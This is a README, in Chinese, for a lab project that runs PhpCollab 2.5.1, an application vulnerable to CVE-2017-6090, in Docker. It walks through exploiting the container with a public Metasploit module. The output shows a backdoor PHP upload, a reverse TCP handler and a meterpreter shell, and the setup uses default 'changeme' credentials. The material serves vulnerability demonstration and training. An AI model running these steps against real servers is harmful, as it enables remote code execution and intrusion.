本项目构建了一个运行 PhpCollab 2.5.1 的容器,其中包含 CVE-2017-6090 中详述的远程代码执行漏洞。此外,还提供了一个 docker-compose 文件,用于启动该容器和 MySQL 以演示该漏洞,利用说明如下。
docker build -t 容器名称 . 或使用镜像 jlkinsel/exploit-cve-2017-6090
启动该程序最简单的方法是使用附带的 docker-compose.yml 文件。如果我有空——或者有人感兴趣——我会创建一个 Kubernetes 部署或 Helm chart。
因此,启动方法如下:
docker-compose up
到目前为止一切顺利!现在,phpcollab 需要配置为使用数据库,并设置默认管理员密码。我曾(简短地)尝试自动执行此操作,但是……好吧……你看起来会用浏览器……
| 字段 | 值 |
|---|---|
| 数据库服务器 | mysql |
| 数据库登录名 | phpcollab |
| 数据库密码 | changeme |
| 数据库名称 | phpcollab |
| 通知 | False |
| 管理员密码 | changeme(或你想要的任何密码) |
最后,你可以登录并进行查看,但对利用来说不是必需的。
请注意,此 Docker Compose 配置没有对存储做任何特殊处理。如果你希望持久化 MySQL 数据库,则必须在 docker-compose.yml 的 mysql 服务定义中添加卷定义。请参见 mariadb Docker Hub 页面 上的示例。
首先——按照上面的运行与配置步骤启动应用程序。
我没有在此项目中包含利用代码,因为……嗯,Metasploit 已经有了。
不熟悉 MSF?以下是对我们刚启动的容器进行利用的快速概述:
docker run -ti --network exploitcve20176090_default remnux/metasploit
这需要几分钟来启动。remnux/metasploit Docker Hub 页面介绍了如何使用卷,以便将来启动不会花费这么长时间。但我们马上就要开始了!
一旦获得 shell 提示符,我们继续:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
此时,你已经进入内部,游戏可以开始了。
如果此目录的名称不是 "exploit-CVE-2017-6090",则必须修改上面的 --network 命令。
另外——我们在 msfconsole 中将远程端口设置为 80,尽管外部端口是 8088。Metasploit 容器与 phpcollab 容器在同一网络内。